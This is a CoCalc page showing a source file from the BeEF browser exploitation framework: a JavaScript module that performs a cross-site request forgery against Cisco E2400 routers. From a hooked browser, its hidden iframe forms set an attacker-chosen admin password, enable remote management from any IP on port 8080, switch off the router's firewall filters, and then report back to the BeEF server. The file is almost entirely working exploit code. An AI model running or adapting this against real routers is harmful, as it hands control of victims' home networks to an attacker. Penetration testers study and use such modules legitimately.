Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
 Path: blob/master/modules/exploits/router/cisco_e2400_csrf/command.js
1154 views
1
//

2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]

3
// Browser Exploitation Framework (BeEF) - https://beefproject.com

4
// See the file 'doc/COPYING' for copying permission

5
//

6


7
beef.execute(function() {

8
  var gateway = '<%= @base %>'; 

9
  var passwd  = '<%= @password %>';

10
  var timeout = 15;

11


12
  var cisco_e2400_iframe1_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "apply.cgi", "POST", "application/x-www-form-urlencoded",

13
      [

14
       {'type':'hidden', 'name':'submit_button',     'value':'Management'},

15
       {'type':'hidden', 'name':'change_action',     'value':''},

16
       {'type':'hidden', 'name':'action',            'value':'Apply'},

17
       {'type':'hidden', 'name':'PasswdModify',      'value':'0'},

18
       {'type':'hidden', 'name':'http_enable',       'value':'1'},

19
       {'type':'hidden', 'name':'https_enable',      'value':'1'},

20
       {'type':'hidden', 'name':'ctm404_enable',     'value':''},

21
       {'type':'hidden', 'name':'remote_mgt_https',  'value':'1'},

22
       {'type':'hidden', 'name':'wait_time',         'value':'4'},

23
       {'type':'hidden', 'name':'need_reboot',       'value':'0'},

24
       {'type':'hidden', 'name':'http_passwd',       'value':passwd},

25
       {'type':'hidden', 'name':'http_passwdConfirm','value':passwd},

26
       {'type':'hidden', 'name':'_http_enable',      'value':'1'},

27
       {'type':'hidden', 'name':'_https_enable',     'value':'1'},

28
       {'type':'hidden', 'name':'web_wl_filter',     'value':'0'},

29
       {'type':'hidden', 'name':'remote_management', 'value':'1'},

30
       {'type':'hidden', 'name':'_remote_mgt_https', 'value':'1'},

31
       {'type':'hidden', 'name':'remote_upgrade',    'value':'1'},

32
       {'type':'hidden', 'name':'remote_ip_any',     'value':'1'},

33
       {'type':'hidden', 'name':'http_wanport',      'value':'8080'},

34
       {'type':'hidden', 'name':'nf_alg_sip',        'value':'0'},

35
       {'type':'hidden', 'name':'ctf_disable',       'value':'0'},

36
       {'type':'hidden', 'name':'upnp_enable',       'value':'1'},

37
       {'type':'hidden', 'name':'upnp_config',       'value':'0'},

38
       {'type':'hidden', 'name':'upnp_internet_dis', 'value':'0'},

39
      ]);

40


41
  var cisco_e2400_iframe2_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "apply.cgi", "POST", "application/x-www-form-urlencoded",

42
      [

43
       {'type':'hidden', 'name':'submit_button',       'value':'Firewall'},

44
       {'type':'hidden', 'name':'change_action',       'value':''},

45
       {'type':'hidden', 'name':'action',              'value':'Apply'},

46
       {'type':'hidden', 'name':'block_wan',           'value':'0'},

47
       {'type':'hidden', 'name':'block_loopback',      'value':'0'},

48
       {'type':'hidden', 'name':'multicast_pass',      'value':'1'},

49
       {'type':'hidden', 'name':'ipv6_multicast_pass', 'value':'1'},

50
       {'type':'hidden', 'name':'ident_pass',          'value':'0'},

51
       {'type':'hidden', 'name':'block_cookie',        'value':'0'},

52
       {'type':'hidden', 'name':'block_java',          'value':'0'},

53
       {'type':'hidden', 'name':'block_proxy',         'value':'0'},

54
       {'type':'hidden', 'name':'block_activex',       'value':'0'},

55
       {'type':'hidden', 'name':'wait_time',           'value':'3'},

56
       {'type':'hidden', 'name':'ipv6_filter',         'value':'off'},

57
       {'type':'hidden', 'name':'filter',              'value':'off'}

58
      ]);

59


60
  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

61


62
  cleanup = function() {

63
    document.body.removeChild(cisco_e2400_iframe1_<%= @command_id %>);

64
    document.body.removeChild(cisco_e2400_iframe2_<%= @command_id %>);

65
  }

66
  setTimeout("cleanup()", timeout*1000);

67


68
});

69


70


71